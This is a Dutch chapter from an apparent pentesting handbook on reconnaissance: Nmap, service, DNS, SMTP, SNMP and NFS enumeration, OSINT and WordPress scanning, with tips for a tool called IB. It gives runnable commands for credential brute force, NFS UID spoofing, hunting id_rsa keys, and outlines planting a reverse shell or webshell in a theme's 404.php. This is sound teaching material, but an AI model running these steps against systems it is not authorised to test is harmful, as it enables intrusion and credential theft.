De geschiedenis van poolexpedities leert een ontnuchterende les: de Britse ontdekkingsreizigers die de Zuidpool bereikten, deden dat door eerst jarenlang kaarten te bestuderen, terwijl anderen simpelweg vertrokken en stierven. In de wereld van penetratietesten geldt precies hetzelfde principe. Het verschil tussen een succesvolle test en een verspilde week zit niet in de exploit die je gebruikt, maar in de verkenning die eraan voorafgaat.

En toch – hier komt het cynische deel – behandelen veel organisaties hun netwerk alsof het een openbaar park is. Ze zetten diensten online met de mentaliteit van iemand die de voordeur open laat staan omdat het “zo’n leuke buurt is.” Verkenning is eigenlijk niets meer dan het systematisch documenteren van andermans nalatigheid.

In dit hoofdstuk lopen we door elke stap van de verkenningsfase: van de eerste poortscan met Nmap tot diepgaande service-enumeratie, DNS-verkenning, SMTP-misbruik, SNMP-wandelingen, NFS-shares, passieve OSINT en CMS-scanning. Bij elke stap laten we zien hoe Incompetent Bastard (IB) het proces stroomlijnt.

De twee smaken van verkenning

Verkenning kent twee fundamentele benaderingen:

Passieve verkenning raakt het doelwit niet aan. Je verzamelt informatie uit openbare bronnen: DNS-records, WHOIS-data, certificaat-transparantielogs, LinkedIn-profielen, Google-resultaten. Het doelwit weet niet dat je aan het kijken bent. Dit is legaal, onzichtbaar, en verrassend informatief.

Actieve verkenning raakt het doelwit wel. Poortscans, service-detectie, directory bruteforce – elk packet dat je stuurt laat een spoor achter. Dit is waar je expliciete toestemming voor nodig hebt, gedocumenteerd in je scope-overeenkomst.

De gouden regel: begin altijd passief. Actieve scans genereren verkeer, en verkeer genereert logs. Hoe meer je weet voordat je begint te scannen, hoe gerichter (en dus stiller) je actieve verkenning kan zijn.

2.2 Nmap: de Zwitserse zakmes van verkenning

2.2.1 Waarom Nmap?

Als er een tool is die elke penetratietester kent, is het Nmap. Gordon Lyon schreef het in 1997 – het jaar dat Titanic in de bioscoop draaide – en sindsdien is het uitgegroeid tot het onbetwiste standaardgereedschap voor netwerkverkenning. Het is het equivalent van een stethoscoop voor een arts: je kunt technisch gezien zonder, maar niemand neemt je serieus.

Nmap stuurt packets naar een doelwit en analyseert de antwoorden. Klinkt simpel. Is het ook. Maar de nuance zit in hoe je die packets stuurt, welke packets je stuurt, en wat je doet met de antwoorden.

2.2.2 De SYN scan: snel en stil

De standaard Nmap scan – de SYN scan – is het werkpaard van netwerkverkenning. Hij stuurt een SYN packet naar elke poort, wacht op een SYN-ACK (poort open) of RST (poort dicht), en gaat verder. De TCP handshake wordt nooit voltooid, waardoor de connectie niet in de logbestanden van veel systemen terechtkomt.

Om de SYN scan te begrijpen, helpt het om de TCP three-way handshake te kennen: 1. Client stuurt SYN: “Ik wil verbinden” 2. Server stuurt SYN-ACK: “Ik luister, ga je gang” 3. Client stuurt ACK: “Verbinding bevestigd”

De SYN scan stopt na stap 2. Hij stuurt een RST (reset) in plaats van de ACK. Het resultaat: je weet dat de poort open is, maar de server heeft nooit een volledige verbinding geregistreerd. Het is het digitale equivalent van aanbellen en wegrennen – je weet dat er iemand thuis is, maar ze hebben je gezicht niet gezien.

# Basis SYN scan op de top 1000 poorten
sudo nmap -sS 10.0.0.0/24

# Alle TCP poorten scannen (1-65535)
sudo nmap -sS -p- 10.0.0.5

# Specifieke poorten
sudo nmap -sS -p 21,22,80,443,445,3389 10.0.0.5

# Top 100 poorten met timing template 4 (agressief)
sudo nmap -sS -T4 --top-ports 100 10.0.0.0/24

De -sS flag is technisch gezien optioneel als je als root draait – Nmap gebruikt hem dan standaard. Maar het is goede gewoonte om expliciet te zijn over wat je doet. Een pentester die niet weet welk type scan hij draait, is als een chirurg die niet weet welk scalpel hij vasthoudt.

Over de -T timing templates: Nmap kent zes templates, van -T0 (paranoid) tot -T5 (insane). In de praktijk gebruik je -T3 (normaal, de default) of -T4 (agressief) voor de meeste pentesten. -T5 is snel maar mist poorten door packet loss. -T0 en -T1 zijn bedoeld voor IDS-evasie en duren uren. Het is een afweging tussen snelheid en nauwkeurigheid – en in een engagement met een tijdslimiet wil je meestal -T4.

Template Naam Gebruik
-T0 Paranoid IDS evasie, extreem langzaam
-T1 Sneaky IDS evasie, langzaam
-T2 Polite Minder bandbreedte, trager
-T3 Normal Standaard, goed compromis
-T4 Aggressive Sneller, goed voor pentests
-T5 Insane Zeer snel, kan poorten missen

2.2.3 Service detection en versie-informatie

Weten dat poort 80 open is, is leuk. Weten dat er Apache 2.4.49 op draait – dat is bruikbaar. De -sV flag activeert service detection:

# Service versie detectie
sudo nmap -sV 10.0.0.5

# Agressievere versie detectie (meer probes)
sudo nmap -sV --version-intensity 5 10.0.0.5

# Combinatie: SYN scan, alle poorten, versie detectie
sudo nmap -sS -sV -p- -T4 10.0.0.5

De --version-intensity flag loopt van 0 (snel, minder accuraat) tot 9 (traag, zeer accuraat). De standaard is 7, wat voor de meeste situaties prima werkt. Tenzij je haast hebt, en eerlijk gezegd: als je haast hebt bij een pentest, heb je een groter probleem.

2.2.4 Nmap Scripting Engine (NSE)

De Nmap Scripting Engine is waar Nmap van een poortscan-tool verandert in een volwaardig verkenningsplatform. NSE scripts kunnen kwetsbaarheden detecteren, informatie verzamelen, en zelfs exploits uitvoeren. Er zitten honderden scripts bij de standaardinstallatie.

# Default scripts draaien (veilig, informatief)
sudo nmap -sC 10.0.0.5

# Specifiek script
sudo nmap --script smb-enum-shares 10.0.0.5

# Categorie: alle vuln scripts
sudo nmap --script vuln 10.0.0.5

# Meerdere scripts combineren
sudo nmap --script "smb-enum-* and not brute" 10.0.0.5

# De heilige combinatie: SYN, versie, scripts, OS detectie
sudo nmap -sS -sV -sC -O -T4 -p- 10.0.0.5

De -sC flag is equivalent aan --script=default. Het draait een verzameling scripts die als veilig worden beschouwd – ze zullen geen denial-of-service veroorzaken of data wijzigen. Maar “veilig” is een relatief begrip. Een default script kan best een anonymous FTP login proberen. Weet wat je draait.

Veelgebruikte NSE scripts voor penetratietesten:

Script Doel
smb-enum-shares SMB shares opsommen
smb-enum-users SMB gebruikers opsommen
smb-vuln-ms17-010 EternalBlue detectie
ftp-anon Anonymous FTP login testen
http-enum Webserver directory enumeratie
ssl-heartbleed Heartbleed kwetsbaarheid
smtp-enum-users SMTP gebruiker enumeratie
dns-zone-transfer DNS zone transfer poging

2.2.5 UDP scanning

De meeste pentesters scannen alleen TCP. Dat is alsof je alleen de voordeur controleert en de achterdeur vergeet. UDP-diensten als SNMP (161), TFTP (69) en DNS (53) zijn notoir slecht beveiligd.

# UDP scan (langzaam maar belangrijk)
sudo nmap -sU --top-ports 50 -T4 10.0.0.5

# Combineer TCP en UDP
sudo nmap -sS -sU -p T:1-65535,U:53,69,111,123,161,500 10.0.0.5

UDP scanning is traag. Ontzettend traag. Dat komt doordat UDP geen handshake kent – als een poort niet antwoordt, weet je niet of het pakket verloren is gegaan, of dat de poort gefilterd is. Nmap moet wachten op timeouts. Het is het digitale equivalent van bellen naar een nummer dat niet opneemt: je weet niet of er niemand thuis is, of dat ze je negeren.

2.2.6 Output formaten

Nmap-resultaten opslaan is geen luxe, het is een vereiste. Elke fatsoenlijke pentest vereist bewijs van wat je hebt gedaan, wanneer je het hebt gedaan, en wat je hebt gevonden.

# Normaal formaat (leesbaar)
sudo nmap -sS -sV -oN scan_results.nmap 10.0.0.5

# XML formaat (voor tools)
sudo nmap -sS -sV -oX scan_results.xml 10.0.0.5

# Grepable formaat (voor scripts)
sudo nmap -sS -sV -oG scan_results.gnmap 10.0.0.5

# Alle drie tegelijk
sudo nmap -sS -sV -oA raw/nmap/engagement_scan 10.0.0.5

Het -oA formaat is het handigst – het genereert alle drie de output-formaten in een keer. IB’s scan.sh gebruikt dit standaard, en dat is niet toevallig.

IB Tip: IB slaat alle scan output op in raw/nmap/ met de -oA flag. Het gnmap formaat wordt door search.sh gebruikt om snel hosts per service te vinden. Sla je scans altijd op met een herkenbare naam.

2.3 Service enumeratie

Een poortscan vertelt je welke deuren open staan. Service enumeratie vertelt je wat er achter die deuren zit. Dit is waar de werkelijke verkenning begint.

2.3.1 FTP (poort 21): het fossiel dat weigert te sterven

FTP dateert uit 1971. Dat is ouder dan de meeste kantoorgebouwen, de meeste wetten over computermisdaad, en de meeste mensen die die wetten moeten handhaven. En nog steeds staan er FTP-servers open op het internet. Met anonymous login. In 2026.

Het testen op anonymous FTP-toegang is triviaal:

# Nmap script voor anonymous FTP
nmap -T5 -sV -sC -p21 --script ftp-anon \
     --script-args ftp-anon.maxlist=-1 10.0.0.5

# Handmatig testen
ftp 10.0.0.5
# Username: Anonymous
# Password: Anonymous

IB Tip: IB heeft een geautomatiseerde FTP anonymous check. De ftp_anon taak in de Task Runner zoekt alle hosts met poort 21 open in je nmap scan en test ze automatisch op anonymous login. Start hem via het Tasks dashboard met de naam van je scan.

IB’s ftp_anon.sh werkt als volgt: het gebruikt search.sh om alle hosts met FTP uit je nmap scan te filteren, loopt er doorheen, en draait per host een gerichte Nmap scan met het ftp-anon script:

# Wat ftp_anon.sh intern doet:
result=$(./search.sh engagement-name ftp)
for xhost in $result; do
    nmap -T5 -sV -sC -p21 --script ftp-anon \
         --script-args ftp-anon.maxlist=-1 $xhost
done

En als je anonymous toegang vindt? Dan kijk je wat er staat. Configuratiebestanden, back-ups, soms zelfs SSH-sleutels. Het is verbazingwekkend wat mensen op een anoniem toegankelijke FTP-server achterlaten. Het is het digitale equivalent van je dagboek op een bankje in het park laten liggen.

2.3.2 SSH (poort 22)

SSH is de veilige manier om op afstand in te loggen. Tenminste, dat is de theorie. In de praktijk vinden we regelmatig SSH-servers met wachtwoordauthenticatie aan, standaard credentials, of – in het ergste geval – zwakke Debian SSH-sleutels uit 2008.

# SSH versie detectie
nmap -sV -p22 10.0.0.5

# Banner grabbing
nc -nv 10.0.0.5 22

# SSH audit (controleer configuratie)
ssh-audit 10.0.0.5

De versie van OpenSSH is belangrijk: oudere versies hebben bekende kwetsbaarheden. Maar vaker is het probleem niet de software, maar de configuratie. Wachtwoordauthenticatie zonder rate limiting is een uitnodiging voor brute force (meer daarover in hoofdstuk 3).

2.3.3 SMB (poort 445)

SMB – Server Message Block – is het protocol waarmee Windows-systemen bestanden delen. Het is ook een van de meest aangevallen protocollen in de geschiedenis van computerbeveiliging. EternalBlue (MS17-010), dat de basis vormde voor WannaCry, maakte misbruik van SMB.

# SMB versie en shares enumereren
nmap --script smb-enum-shares,smb-enum-users -p445 10.0.0.5

# smbclient: shares bekijken
smbclient -L //10.0.0.5 -N

# smbmap: permissies controleren
smbmap -H 10.0.0.5

# smbmap met credentials
smbmap -H 10.0.0.5 -u gebruiker -p wachtwoord

# enum4linux: alles-in-een
enum4linux -a 10.0.0.5

# CrackMapExec: null session enum
crackmapexec smb 10.0.0.5 -u '' -p '' --shares

Null sessions – SMB-verbindingen zonder credentials – zijn zeldzamer geworden, maar bestaan nog steeds. En zelfs zonder null session is SMB een goudmijn aan informatie: domeinnaam, computernaam, werkgroep, en soms zelfs een lijst van gebruikersaccounts.

Het is de moeite waard om altijd te controleren op EternalBlue (MS17-010). Ja, het is een exploit uit 2017. Ja, de patch bestaat al jaren. Nee, niet iedereen heeft hem geinstalleerd:

# EternalBlue check
nmap -p445 --script smb-vuln-ms17-010 10.0.0.5

# Of via CrackMapExec
crackmapexec smb 10.0.0.0/24 -u '' -p '' --gen-relay-list smb_targets.txt

SMB signing is ook relevant: als SMB signing niet is afgedwongen, zijn relay-aanvallen mogelijk. Dat is een onderwerp voor latere hoofdstukken, maar het begint hier, bij de verkenning.

2.3.4 RDP (poort 3389)

Remote Desktop Protocol is Windows’ ingebouwde remote access oplossing. Het staat standaard aan op veel Windows Servers en is regelmatig het eerste dat wordt opengesteld voor beheer op afstand.

# RDP versie en configuratie
nmap -sV -p3389 --script rdp-enum-encryption 10.0.0.5

# Screenshot nemen van het loginscherm
nmap -p3389 --script rdp-ntlm-info 10.0.0.5

Het rdp-ntlm-info script is bijzonder nuttig: het haalt de domeinnaam, computernaam en DNS-naam op uit de NTLM-authenticatie, zonder dat je inlogt. Gratis informatie, gewoon door te kloppen op de deur.

2.3.5 HTTP/HTTPS (poort 80/443)

Webservers zijn de etalage van elke organisatie. En net als bij een echte etalage: wat je ziet is interessant, maar wat er achter de schermen staat is veel interessanter.

# Webserver identificatie
whatweb http://10.0.0.5

# Nikto vulnerability scan
nikto -h http://10.0.0.5

# Directory bruteforce
gobuster dir -u http://10.0.0.5 -w /usr/share/wordlists/dirb/common.txt -t 50

# Wfuzz (flexibeler)
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
      --sc 200,301,302,403 http://10.0.0.5/FUZZ

# Nuclei (vulnerability templates)
nuclei -u http://10.0.0.5

IB Tip: IB’s scan.sh draait automatisch whatweb, wfuzz en nuclei tegen elke host met HTTP-poorten open. De resultaten komen in raw/recon/. Je hoeft dit niet handmatig te doen.

IB’s scan flow voor webservers werkt zo: na de initiële nmap scan filtert scan.sh alle hosts met HTTP-gerelateerde services, en draait per host drie tools in volgorde:

# Uit scan.sh -- voor elke host met HTTP:
whatweb ${host} > raw/recon/whatweb-${host}.txt
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
      --sc 200,202,204,301,302,307,403 ${host}/FUZZ > raw/recon/wfuzz-${host}.txt
nuclei -u ${host} > raw/recon/nuclei-${host}.txt

2.4 DNS verkenning

2.4.1 Waarom DNS belangrijk is

DNS – het Domain Name System – is het telefoonboek van het internet. Het vertaalt namen naar adressen. En net als een telefoonboek kan het verrassend veel onthullen over een organisatie: welke servers ze hebben, welke diensten ze draaien, soms zelfs hoe hun interne netwerk is opgebouwd.

DNS-verkenning is als het doorbladeren van iemands telefoonboek: technisch gezien is alle informatie “openbaar”, maar je leert er meer van dan de eigenaar zich realiseert.

2.4.2 Zone transfers

Een DNS zone transfer is de nucleaire optie van DNS-verkenning. In een zone transfer stuurt een DNS-server zijn volledige database naar de aanvrager – elke hostname, elk IP-adres, elke record. Het is bedoeld als replicatiemechanisme tussen primaire en secundaire DNS-servers. Het is niet bedoeld voor jou. Maar als niemand het heeft uitgeschakeld…

# Zone transfer proberen met dig
dig axfr target.com @ns1.target.com

# Zone transfer met host
host -l target.com ns1.target.com

# dnsrecon zone transfer
dnsrecon -d target.com -t axfr

Zone transfers slagen tegenwoordig zelden op externe DNS-servers. Maar op interne DNS-servers – met name Active Directory-geintegreerde DNS – is het een ander verhaal. Veel beheerders gaan ervan uit dat het interne netwerk “vertrouwd” is en beperken zone transfers niet.

Als een zone transfer lukt, heb je in een klap een compleet overzicht van het netwerk. Elke server, elk alias, elk service record. Het is alsof iemand je een plattegrond overhandigt met alle geheime gangen erin getekend.

2.4.3 Subdomain enumeratie

Als zone transfers niet werken – en dat doen ze meestal niet – is subdomain enumeratie de volgende stap. Het idee is simpel: probeer duizenden mogelijke subdomeinnamen en kijk welke bestaan.

# dnsrecon brute force
dnsrecon -d target.com -t brt \
    -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Standaard enumeratie (alle record types)
dnsrecon -d target.com

# dnsenum (combineert meerdere technieken)
dnsenum target.com
dnsenum --dnsserver ns1.target.com target.com

# gobuster DNS mode
gobuster dns -d target.com \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50

Subdomeinen onthullen vaak meer dan de organisatie beseft: dev.target.com, staging.target.com, jenkins.target.com, vpn.target.com. Elk subdomein is een potentieel aanvalsoppervlak. Ontwikkelomgevingen hebben zelden dezelfde beveiligingsmaatregelen als productie.

2.4.4 DNS record types

Niet alle DNS records zijn gelijk. Elk type onthult andere informatie:

# Individuele record types opvragen
host target.com              # A record (IPv4)
host -t MX target.com        # Mail servers
host -t TXT target.com       # TXT records (SPF, DKIM, etc.)
host -t NS target.com        # Nameservers
host -t AAAA target.com      # IPv6 adressen

# dig varianten
dig target.com ANY           # Alle records (vaak geblokkeerd)
dig target.com MX            # Mail servers
dig target.com TXT           # TXT records

TXT records zijn bijzonder interessant. Ze bevatten vaak SPF-records die onthullen welke mailservers de organisatie gebruikt, DKIM-sleutels, en soms verificatietokens voor diensten als Google Workspace of Microsoft 365.

2.4.5 Reverse DNS sweep

Een reverse DNS lookup doet het omgekeerde van een normale lookup: je geeft een IP-adres en krijgt de hostname terug. Door een heel subnet te sweepen ontdek je hosts die je via forward lookups nooit zou vinden.

# dnsrecon reverse sweep
dnsrecon -r 10.0.0.0/24

# Handmatig (langzaam maar leerzaam)
for ip in $(seq 1 254); do
    host 10.0.0.$ip
done | grep -v "not found"

IB Tip: Het recon_dns commandobestand bevat alle DNS-verkenningscommando’s die je nodig hebt. Open het via de Commands pagina in IB voor snel kopieerbare referenties. Het bevat zone transfers, subdomain brute force, reverse sweeps en handmatige record queries.

2.5 SMTP enumeratie

2.5.1 Het postkantoorgesprek

SMTP – Simple Mail Transfer Protocol – is het protocol waarmee e-mail wordt verstuurd. En SMTP-servers zijn praatgraag. Ontzettend praatgraag. Met de juiste vragen vertellen ze je precies welke gebruikersaccounts bestaan.

Dit heet SMTP user enumeration, en het werkt via drie methoden: VRFY, EXPN en RCPT TO.

2.5.2 VRFY en EXPN

Het VRFY-commando vraagt de mailserver of een gebruiker bestaat. Het EXPN-commando vraagt de server om een mailinglist uit te vouwen. Beide zijn bedoeld voor diagnostiek. Beide zijn goud voor aanvallers.

# Handmatig via netcat
nc -nv 10.0.0.5 25
# VRFY root
# VRFY admin
# VRFY postmaster

# EXPN (mailinglijst leden)
# EXPN all-users

# RCPT TO (als VRFY uitgeschakeld is)
# MAIL FROM:<test@test.com>
# RCPT TO:<admin@target.com>    # 250 = bestaat, 550 = niet

De responsecodes zijn veelzeggend: - 250: gebruiker bestaat - 252: ik kan het niet bevestigen, maar ik ga het proberen (vaak ook een positief signaal) - 550: gebruiker bestaat niet

2.5.3 Geautomatiseerde enumeratie

Handmatig VRFY-commando’s typen is leerzaam maar niet schaalbaar. Daar zijn tools voor:

# smtp-user-enum met VRFY methode
smtp-user-enum -M VRFY \
    -U /usr/share/seclists/Usernames/Names/names.txt \
    -t 10.0.0.5

# RCPT TO methode (als VRFY uitgeschakeld)
smtp-user-enum -M RCPT -U users.txt -D target.com -t 10.0.0.5

# EXPN methode
smtp-user-enum -M EXPN -U users.txt -t 10.0.0.5

# Nmap NSE scripts
nmap -p 25 --script smtp-enum-users 10.0.0.5
nmap -p 25 --script smtp-commands 10.0.0.5
nmap -p 25 --script smtp-open-relay 10.0.0.5

IB Tip: IB’s recon_smtp command file bevat alle SMTP enumeratie methoden: handmatig via netcat, smtp-user-enum met VRFY/RCPT/EXPN, en Nmap NSE scripts. Check ook poorten 465 (SMTPS) en 587 (submission) naast de standaard poort 25.

Die open relay check (smtp-open-relay) is ook de moeite waard. Een open relay laat je e-mails versturen via andermans mailserver. In de jaren negentig was dat normaal. Nu is het een beveiligingsincident. Maar je vindt het nog steeds. Sommige systemen veranderen nooit.

2.6 SNMP enumeratie

2.6.1 De community string: een wachtwoord dat geen wachtwoord wil zijn

SNMP – Simple Network Management Protocol – is ontworpen om netwerkapparatuur te beheren. Het gebruikt “community strings” als authenticatiemechanisme. Een community string is eigenlijk gewoon een wachtwoord, maar dan verstuurd in cleartext. De standaard community string is public. Voor leestoegang. De standaard schrijf-community string is private.

Laat dat even bezinken. Het standaard leeswachtwoord is letterlijk “public”. Het standaard schrijfwachtwoord is “private”. En miljoenen apparaten wereldwijd gebruiken nog steeds deze standaardwaarden. Het is alsof je je kluiscode instelt op “kluis”.

2.6.2 Community strings brute forcen

# onesixtyone: snelle community string brute force
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt \
            -i targets.txt

# Nmap brute force
nmap -sU -p 161 --script snmp-brute 10.0.0.5

Die woordenlijst met community strings is treurig kort. De meeste staan erin: public, private, community, manager, cisco, default. Het feit dat deze lijst zo klein is en nog steeds zo effectief, zegt alles over de staat van SNMP-beveiliging.

2.6.3 MIB walking

Eenmaal een werkende community string gevonden, is het tijd voor een MIB walk. MIB staat voor Management Information Base – een hierarchische database van alle informatie die het apparaat bereid is te delen. En dat is veel. Ongezond veel.

# Volledige SNMP walk
snmpwalk -c public -v1 -t 10 10.0.0.5

# Specifieke OIDs voor Windows:
# Windows gebruikers:
snmpwalk -c public -v1 10.0.0.5 1.3.6.1.4.1.77.1.2.25
# Draaiende processen:
snmpwalk -c public -v1 10.0.0.5 1.3.6.1.2.1.25.4.2.1.2
# Open TCP poorten:
snmpwalk -c public -v1 10.0.0.5 1.3.6.1.2.1.6.13.1.3
# Geinstalleerde software:
snmpwalk -c public -v1 10.0.0.5 1.3.6.1.2.1.25.6.3.1.2
# Systeem beschrijving:
snmpwalk -c public -v1 10.0.0.5 1.3.6.1.2.1.1.1
# Hostnaam:
snmpwalk -c public -v1 10.0.0.5 1.3.6.1.2.1.1.5
# Network interfaces:
snmpwalk -c public -v1 10.0.0.5 1.3.6.1.2.1.2.2.1.2

# Alles in een keer met snmp-check:
snmp-check 10.0.0.5 -c public

Via SNMP kun je op een Windows-systeem de volledige gebruikerslijst ophalen, alle draaiende processen zien, alle open poorten, alle geinstalleerde software. Zonder ook maar een wachtwoord in te voeren. Met alleen de community string public. Op een protocol dat data in cleartext verstuurt.

Dit is niet zomaar een beveiligingsprobleem. Dit is een openbare bibliotheek van vertrouwelijke informatie, aangeboden met een glimlach.

IB Tip: IB’s recon_snmp commandobestand bevat de essentiële OID-paden voor Windows enumeratie. Onthoud: SNMP v1 en v2c versturen community strings in cleartext. Als je SNMP-verkeer op het netwerk ziet, heb je misschien al een community string.

2.7 NFS enumeratie

2.7.1 Network File System: delen is leuk

NFS – Network File System – is het protocol waarmee Unix/Linux-systemen bestanden delen. Het stamt uit 1984, het jaar van de Macintosh en George Orwell. De beveiliging voelt nog steeds alsof het in 1984 is ontworpen.

NFS-beveiliging is primair gebaseerd op IP-adressen. Het idee is: als je op het juiste netwerk zit, mag je bij de bestanden. Dat is hetzelfde beveiligingsmodel als “iedereen in het kantoorgebouw mag bij de kluizen.” Het werkt totdat er iemand binnenkomt die niet bij het bedrijf hoort.

2.7.2 NFS exports ontdekken

# Ontdek NFS exports via Nmap
nmap -sV -p 111 --script=rpcinfo 10.0.0.5
nmap -p 111 --script nfs* 10.0.0.5

# showmount: bekijk beschikbare shares
showmount -e 10.0.0.5

# RPC info
rpcinfo -p 10.0.0.5

Het showmount -e commando laat zien welke directories geexporteerd worden en wie er toegang toe heeft. Als daar * staat, betekent het “iedereen”. En dat komt vaker voor dan je zou hopen.

2.7.3 NFS shares mounten

# Mount NFS share
mkdir /mnt/nfs
mount -o nolock 10.0.0.5:/share /mnt/nfs

# Met specifieke NFS versie
mount -t nfs -o vers=3,nolock 10.0.0.5:/share /mnt/nfs

# Bestanden bekijken
ls -la /mnt/nfs/
find /mnt/nfs/ -type f \
    -name "*.txt" -o -name "*.conf" -o -name "id_rsa" 2>/dev/null

# Na gebruik unmounten
umount /mnt/nfs

2.7.4 UID spoofing

NFS-authenticatie is gebaseerd op UID-nummers. Als een bestand eigendom is van UID 1000 op de server, en jij maakt een gebruiker met UID 1000 op je aanvalsmachine, dan ben je plotseling de eigenaar van dat bestand. Het is een identiteitsdiefstal zo simpel dat een kind het kan:

# Als bestanden owned zijn door UID 1000:
useradd -u 1000 fakeuser
su fakeuser
cat /mnt/nfs/secret.txt

De no_root_squash optie maakt het nog erger: als die actief is, betekent het dat root op de client ook root is op de server. Je kunt dan bestanden aanmaken, wijzigen en verwijderen als root. Op andermans server. Via een netwerkshare.

IB Tip: IB’s recon_nfs command file bevat de volledige NFS enumeratie flow: van discovery via nmap/showmount tot mounten en UID spoofing. Let op de no_root_squash instelling – die maakt het verschil tussen “read access” en “volledige controle.”

2.8 OSINT: passieve verkenning

2.8.1 Kijken zonder aanraken

OSINT – Open Source Intelligence – is verkenning zonder het doelwit aan te raken. Geen packets versturen, geen poorten scannen, geen verbindingen maken. Alleen informatie verzamelen uit openbare bronnen. Het is het digitale equivalent van door iemands LinkedIn-profiel scrollen: je leert er veel van, en ze weten niet dat je kijkt.

De reden om met OSINT te beginnen – voor je ook maar een poort scant – is tweeledig. Ten eerste: het vertelt je wat je kunt verwachten. Als je weet dat een organisatie Microsoft 365 gebruikt, Apache webservers draait, en hun IT-afdeling bestaat uit drie man, heb je al een behoorlijk beeld. Ten tweede: het genereert nul netwerkverkeer naar het doelwit, waardoor het legaal en onzichtbaar is.

2.8.2 Tools en technieken

# theHarvester: e-mailadressen, subdomeinen, IPs
theHarvester -d target.com -b google,bing,linkedin -l 500
theHarvester -d target.com -b all

# Shodan: internet-wide scan database
shodan search hostname:target.com
shodan host 10.0.0.5
shodan search "Apache" net:10.0.0.0/24

# Whois
whois target.com
whois 10.0.0.5

# Certificate Transparency logs
curl -s "https://crt.sh/?q=%25.target.com&output=json" \
    | jq '.[].name_value' | sort -u

2.8.3 Google Dorks

Google Dorks zijn geavanceerde zoekopdrachten die Google gebruiken als een soort kwetsbaarheidenscanner. Het is legaal – je zoekt alleen in de Google-index – maar de resultaten kunnen verbluffend onthullend zijn.

site:target.com filetype:pdf
site:target.com filetype:xlsx
site:target.com ext:php inurl:admin
site:target.com intitle:"index of" "parent directory"
site:target.com inurl:login
site:target.com ext:sql | ext:db | ext:bak

Die laatste – zoeken naar database-backups – levert soms letterlijk complete databases op. In de publieke Google-index. Laat dat even bezinken. Iemand heeft een database-back-up op een webserver gezet, die webserver is geindexeerd door Google, en nu kan iedereen die de juiste zoekopdracht kent die back-up downloaden. Het is als het achterlaten van je complete boekhouding op de stoep met een briefje “gratis mee te nemen.”

2.8.4 Certificate Transparency

Certificate Transparency (CT) is een onverwachte goudmijn voor pentesters. Elke SSL/TLS-certificaat dat wordt uitgegeven, wordt geregistreerd in openbare logs. Door deze logs te doorzoeken vind je subdomeinen die de organisatie misschien liever geheim had gehouden: internal.target.com, vpn-test.target.com, dev-api.target.com.

# Certificate Transparency via crt.sh
curl -s "https://crt.sh/?q=%25.target.com&output=json" \
    | jq '.[].name_value' | sort -u

# Netcraft (via browser)
# https://searchdns.netcraft.com/?restriction=site+contains&host=target.com

Het mooie aan CT-logs is dat ze historisch zijn. Je vindt niet alleen huidige certificaten, maar ook verlopen certificaten voor servers die misschien nog steeds draaien – alleen zonder geldig certificaat. En als er iets is dat beheerders vergeten te decommissionen, dan is het die ene testserver van drie jaar geleden.

2.8.5 Recon-ng framework

Recon-ng is een OSINT-framework dat werkt als een modulaire verkennings-workbench:

# Recon-ng starten
recon-ng

# Modules zoeken en installeren
# marketplace search github
# marketplace install recon/domains-hosts/google_site_web
# modules load recon/domains-hosts/google_site_web
# options set SOURCE target.com
# run

IB Tip: IB’s recon_osint command file bevat de volledige OSINT toolkit: recon-ng, theHarvester, Shodan, Google Dorks, Netcraft en Certificate Transparency queries. Begin altijd met passieve recon voordat je scant – het is gratis, onzichtbaar, en levert verrassend veel op.

2.9 CMS scanning: WordPress onder het mes

2.9.1 Waarom WordPress?

WordPress draait op een aanzienlijk deel van alle websites ter wereld. Het is het meest gebruikte CMS, en daarmee ook het meest aangevallen. Niet omdat het inherent onveilig is, maar omdat het ecosysteem – duizenden plugins, duizenden themes, miljoenen beheerders die niet updaten – een aanvallers paradijs creëert.

WPScan is de gespecialiseerde tool voor WordPress-beveiliging:

# Basis scan met enumeratie
wpscan --url http://target --enumerate ap,at,cb,dbe

# Gebruiker enumeratie
wpscan --url http://target --enumerate u

# Plugin enumeratie (agressief)
wpscan --url http://target --enumerate ap --plugins-detection aggressive

# Theme enumeratie
wpscan --url http://target --enumerate at

# Password brute force
wpscan --url http://target -U admin \
    -P /usr/share/wordlists/rockyou.txt

# Met meerdere users via XML-RPC (sneller)
wpscan --url http://target -U users.txt \
    -P /usr/share/wordlists/rockyou.txt --password-attack xmlrpc

# Met API token voor CVE-details
wpscan --url http://target --api-token YOUR_TOKEN --enumerate vp,vt

De --enumerate flags vertellen WPScan wat hij moet zoeken: - ap – alle plugins - at – alle themes - u – gebruikers - cb – config back-ups - dbe – database exports - vp – kwetsbare plugins (vereist API token) - vt – kwetsbare themes (vereist API token)

2.9.2 Handmatige WordPress checks

Soms wil je het met de hand doen – of WPScan werkt niet:

# WordPress versie
curl -s http://target/readme.html

# Gebruikers via REST API
curl -s http://target/wp-json/wp/v2/users

# XML-RPC endpoint (bruikbaar voor brute force)
curl -s http://target/xmlrpc.php

# Standaard paden
# Login:   http://target/wp-login.php
# Admin:   http://target/wp-admin/
# Uploads: http://target/wp-content/uploads/

Die REST API (/wp-json/wp/v2/users) is standaard ingeschakeld en openbaar. Het geeft gebruikersnamen terug. Zonder authenticatie. WordPress noemt dit een “feature.” Aanvallers noemen het een cadeautje.

2.9.3 Na het vinden van een kwetsbaarheid

WPScan met een API token koppelt gevonden plugins en themes aan bekende CVEs. De output ziet er dan zo uit:

[!] Title: Plugin X < 3.2.1 - Unauthenticated SQL Injection
    Fixed in: 3.2.1
    References:
     - https://wpscan.com/vulnerability/...
     - https://nvd.nist.gov/vuln/detail/CVE-2024-...

Dit is waar verkenning overgaat in exploitatie. Je hebt nu een specifieke kwetsbaarheid, met een CVE-nummer en referenties naar exploits. De vraag is niet meer “is dit systeem kwetsbaar?” maar “hoe snel kan ik dit exploiteren?”

Een veelgebruikte post-login techniek in WordPress is de Theme Editor. Als je admin-toegang hebt:

  1. Navigeer naar Appearance -> Theme Editor
  2. Selecteer het actieve theme
  3. Bewerk 404.php (minst verdacht)
  4. Voeg PHP-code toe (reverse shell, webshell)
  5. Browse naar http://target/wp-content/themes/theme-naam/404.php

Het is elegant in zijn eenvoud. Je misbruikt een legitieme functie – theme editing – voor een illegitiem doel. En het wordt zelden gedetecteerd, want wie controleert er nu de 404.php van een WordPress-theme?

